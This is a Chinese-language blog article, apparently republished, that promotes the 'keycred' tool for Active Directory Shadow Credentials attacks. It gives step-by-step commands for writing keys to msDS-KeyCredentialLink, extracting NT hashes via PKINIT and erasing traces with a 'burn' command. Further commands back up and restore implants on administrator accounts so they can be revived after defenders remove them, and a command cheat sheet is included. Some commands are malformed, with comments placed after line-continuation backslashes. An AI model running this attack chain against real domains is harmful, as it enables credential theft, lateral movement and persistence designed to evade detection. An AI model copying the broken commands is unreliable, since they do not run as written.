文章总结: 本文介绍了新型ActiveDirectory红队工具keycred,集成了ShadowCredentials管理、PKINIT认证拿Hash及自焚清理功能。相比certipy等工具,它以Go语言重写实现跨平台单文件,支持备份恢复、证书处理及更稳定的UnPAC-the-Hash,是域渗透中利用GenericWrite权限进行横向移动和持久化的优选方案。 综合评分: 93 文章分类: 红队,内网渗透,安全工具,渗透测试
Certipy 过时了?keycred 一键植入/拿 hash/自焚,红队新宠曝光!
柠檬赏金猎人
2026年2月1日 12:02 广东
概述
新出的、非常实用的 Active Directory 红队工具——keycred(来自德国 RedTeam Pentesting 团队)。 目前最完整、最跨平台的 msDS-KeyCredentialLink(Shadow Credentials)管理工具 + PKINIT UnPAC-the-Hash + 证书处理瑞士军刀。 如果你2026年还在用 certipy add + impacket getTGT 走影子凭据流程,强烈建议切换到 keycred —— 更稳定、更全功能、一键 burn、跨平台单文件。
一、Shadow Credentials 到底是什么?
在现代域渗透中,密码已经不是唯一入口了。微软从 Windows Server 2016 开始引入了一种基于证书的无密码认证机制: 当一个用户/计算机账户的 msDS-KeyCredentialLink 属性里被写入合法的公钥信息后,攻击者就可以拿着对应的私钥通过 PKINIT 协议直接完成 Kerberos 认证 → 拿到 TGT → 获取 NT hash → 横向/提权/持久化。这套机制被红队称为 Shadow Credentials(影子凭据),是目前最优雅、最难检测的持久化/横向方式之一。
常见经典玩法:
•拥有 GenericWrite / WriteProperty 权限 → 往目标的 msDS-KeyCredentialLink 写入自己生成的公钥
•用私钥 + PKINIT 认证 → 拿到目标的 NT hash(UnPAC-the-Hash)•后续可以 Pass-the-Hash、Over-Pass-the-Hash、提权、DCSync 等
二、为什么不用 certipy / bloodyAD / whiskers,而要用 keycred?
| 功能 | certipy | bloodyAD | whiskers | keycred (2025-2026 最新) | | — | — | — | — | — | | 生成 + 写入 KeyCredential | 支持 | 支持 | 支持 | 支持(最规范) | | 列出 / 解析现有链接 | 一般 | 弱 | 一般 | 非常详细 | | UnPAC-the-Hash(拿 NT hash) | 支持 | 不支持 | 支持 | 支持(最稳定) | | 烧毁(认证后自动清除) | 支持 | 不支持 | 支持 | 支持(burn 命令) | | 备份 & 恢复全部凭据 | 无 | 无 | 无 | 支持(backup/restore) | | 支持 otherName SAN 简化认证 | 部分 | 无 | 部分 | 优秀 | | 跨平台单二进制 | 否(python) | 否 | 否 | 是(Go) | | 内置 pfx 证书处理工具 | 无 | 无 | 无 | 有(pfxtool 子工具) | | 最近维护活跃度 | 中等 | 中等 | 低 | 非常活跃 |
三、快速上手
1. 安装(推荐直接用 release 单文件)
# 下载最新版(以 v1.2.1 为例,实际去 GitHub Releases 看最新)wget https://github.com/RedTeamPentesting/keycred/releases/download/v1.2.1/keycred_Linux_x86_64.tar.gztar xzvf keycred_Linux_x86_64.tar.gzchmod +x keycred
用户直接下载 .exe 即可,无需 Go 环境。
2. 最经典的攻击链演示(假设你已有 GenericWrite 权限)
# 步骤1:生成证书并直接写入目标用户/计算机的 msDS-KeyCredentialLink./keycred add \ -u "[email protected]" \ # 你的认证身份 --pfx-shadow target-user.pfx \ # 会自动生成并写入 --target "target-computer$" \ # 目标计算机账户(或用户名) --dc dc01.corp.local
# 步骤2:使用刚生成的证书进行 PKINIT 认证,并直接拿到 NT hash./keycred auth \ -u "target-computer$" \ --pfx target-user.pfx \ # 刚才生成的 pfx --dc dc01.corp.local
# 得到类似输出:# [+] NT hash for target-computer$: 31d6cfe0d16ae931b73c59d7e0c089c0
# 步骤3:用完就烧毁(不留痕迹)./keycred burn \ -u "target-computer$" \ --pfx target-user.pfx \ --dc dc01.corp.local
四、扩展版:更多命令示例
1.. 核心攻击链全流程示例(最常用场景)
场景1:针对一台普通域成员机打影子凭据 → 拿 NT hash → 横向到高价值目标
# 前提:你已有 low-priv 用户对目标计算机的 GenericWrite 权限
# 步骤1:用你的账户身份,直接生成证书并写入目标计算机账户./keycred add \ -u "[email protected]" \ -p "P@ssw0rd123" \ --dc dc01.corp.local \ -t "webserver$" \ # 注意 $ 结尾表示计算机账户 --scheme ldaps
# 输出示例:# [+] Generated new certificate and private key# [+] Wrote KeyCredentialLink to msDS-KeyCredentialLink of webserver$# [+] Saved to: shadow-webserver.pfx (password: auto-generated or empty)
# 步骤2:用刚生成的 pfx 进行 PKINIT 认证,提取 NT hash(UnPAC-the-Hash)./keycred auth \ -u "webserver$" \ --pfx shadow-webserver.pfx \ --dc dc01.corp.local
# 输出示例:# [+] PKINIT authentication successful# [+] NT hash for webserver$: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
# 步骤3:用完即焚(burn),自动认证后清除自己加的凭据,痕迹最小化./keycred burn \ -u "webserver$" \ --pfx shadow-webserver.pfx \ --dc dc01.corp.local
# 输出示例:# [+] Authenticated and retrieved hash# [+] Successfully removed the added KeyCredentialLink
场景2:指定已存在的 pfx 文件注册(不生成新证书)
# 已有 evil.pfx,想注册到目标用户 svc-sql 上./keycred register \ -u "[email protected]" \ -H "aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0" \ # 用 NT hash 认证 --pfx evil.pfx \ -t "svc-sql" \ --dc dc01.corp.local
场景3:列出 + 备份 + 恢复(权限维持/蓝队检测验证)
# 列出当前用户的所有影子凭据(详细解析 deviceID、keyID 等)./keycred list \ -u "[email protected]" \ --dc dc01.corp.local
# 备份域控管理员的所有 KeyCredentialLink(防误删或研究用)./keycred backup \ -u "[email protected]" \ # 用有权限的账户 -t "administrator" \ --dc dc01.corp.local \ --output admin-shadow-backup.json
# 事后恢复(比如蓝队清除了,你想复活)./keycred restore \ -u "[email protected]" \ --input admin-shadow-backup.json \ --dc dc01.corp.local
场景4:清理痕迹(remove 单条 / clear 全部)
# 只删掉某一条(知道 keyID 时用)./keycred remove \ -u "[email protected]" \ -t "dc01$" \ --key-id "010001..." \ # 从 list 命令中复制 keyID --dc dc01.corp.local
# 暴力清空目标的所有影子凭据(慎用!)./keycred clear \ -u "[email protected]" \ -t "fileserver$" \ --dc dc01.corp.local
场景5:解析 raw KeyCredentialLink(研究/ forensics 用)
# 从 BloodHound 或 ldapsearch 拿到的 DN-Binary 值解析./keycred parse \ --input "B:32:..." # 粘贴完整的 DN-Binary 字符串
场景6:pfxtool 配套使用(证书处理神器)
# 生成全新自签证书 pfx(无密码)./pfxtool create --output fresh-evil.pfx --force
# 合并 cert + key → pfx(常见从 openssl 导出的场景)./pfxtool join \ --cert evil-cert.pem \ --key evil-key.pem \ --output evil-combined.pfx \ --password "hacden123"
# 拆分 pfx → pem(导入其他工具用)./pfxtool split \ --input evil-combined.pfx \ --output-dir ./extracted \ --password "hacden123"
# 查看 pfx 内容(检查 SAN、有效期等)./pfxtool inspect --input evil-combined.pfx --password "hacden123"
2. 高频命令速查表
| 命令 | 作用 | 典型用法示例 | 适用场景 |
| — | — | — | — |
| add | 生成+写入影子凭据 | ./keycred add -u user -p pass --dc dc -t target$ | 初始植入 |
| register | 用已有 pfx 写入 | ./keycred register --pfx my.pfx -t svc$ | 复用证书 |
| auth | PKINIT 认证拿 NT hash | ./keycred auth --pfx shadow.pfx -u target$ | UnPAC-the-Hash |
| burn | 认证后自动删除 | ./keycred burn --pfx shadow.pfx | 低痕迹横向/提权 |
| list | 查看影子凭据详情 | ./keycred list -t administrator | 枚举/研究 |
| backup | 备份所有凭据 | ./keycred backup --output backup.json | 持久化备份 |
| restore | 从备份恢复 | ./keycred restore --input backup.json | 恢复维持 |
| remove | 删除单条凭据 | ./keycred remove --key-id xxx | 精准清理 |
| clear | 清空目标所有凭据 | ./keycred clear -t dc01$ | 大范围清理 |
| add-raw | 写入自定义 raw 值 | ./keycred add-raw --raw "B:32:..." | 高级/自定义 |
| parse | 解析 raw 值 | ./keycred parse --input "B:32:..." | forensics/分析 |
| pfxtool create | 新建 pfx | ./pfxtool create --output new.pfx | 证书准备 |
| pfxtool join | 合并 cert+key | ./pfxtool join --cert c.pem --key k.pem --output out.pfx | 证书格式转换 |
五、典型使用场景
1.域内横向移动:拿到一台普通机器的 GenericWrite → 打到域控/高价值计算机的影子凭据 → 拿 NT hash → PTH 域控2.持久化:在多个重要账户/计算机上埋影子凭据,证书私钥加密保存,随时复活3.red team 后渗透清理:burn 命令一键清除自己添加的凭据4.权限维持绕过检测:配合 otherName SAN,certipy auth 时都不用写用户名5.安全研究/蓝队检测验证:批量列出、备份、分析域内所有 KeyCredentialLink
六、注意事项 & 坑点
•需要目标账户有 Validated write to msDS-KeyCredentialLink 权限(大多数机器账户默认有自写权限)•LDAP 连接建议用 ldaps(加 –ldaps),明文 ldap 容易被拦截•pfx 密码别忘,输错就废了•Windows 防火墙 / 域策略可能阻断 PKINIT(默认启用,但部分环境关闭)
项目地址:https://github.com/RedTeamPentesting/keycred
希望这篇总结能帮到正在打靶、做红队、研究 AD 持久化的朋友们~
仅限交流学习使用,如您在使用本工具或代码的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。“如侵权请私聊公众号删文”。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:柠檬赏金猎人 《Certipy 过时了?keycred 一键植入/拿 hash/自焚,红队新宠曝光!》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论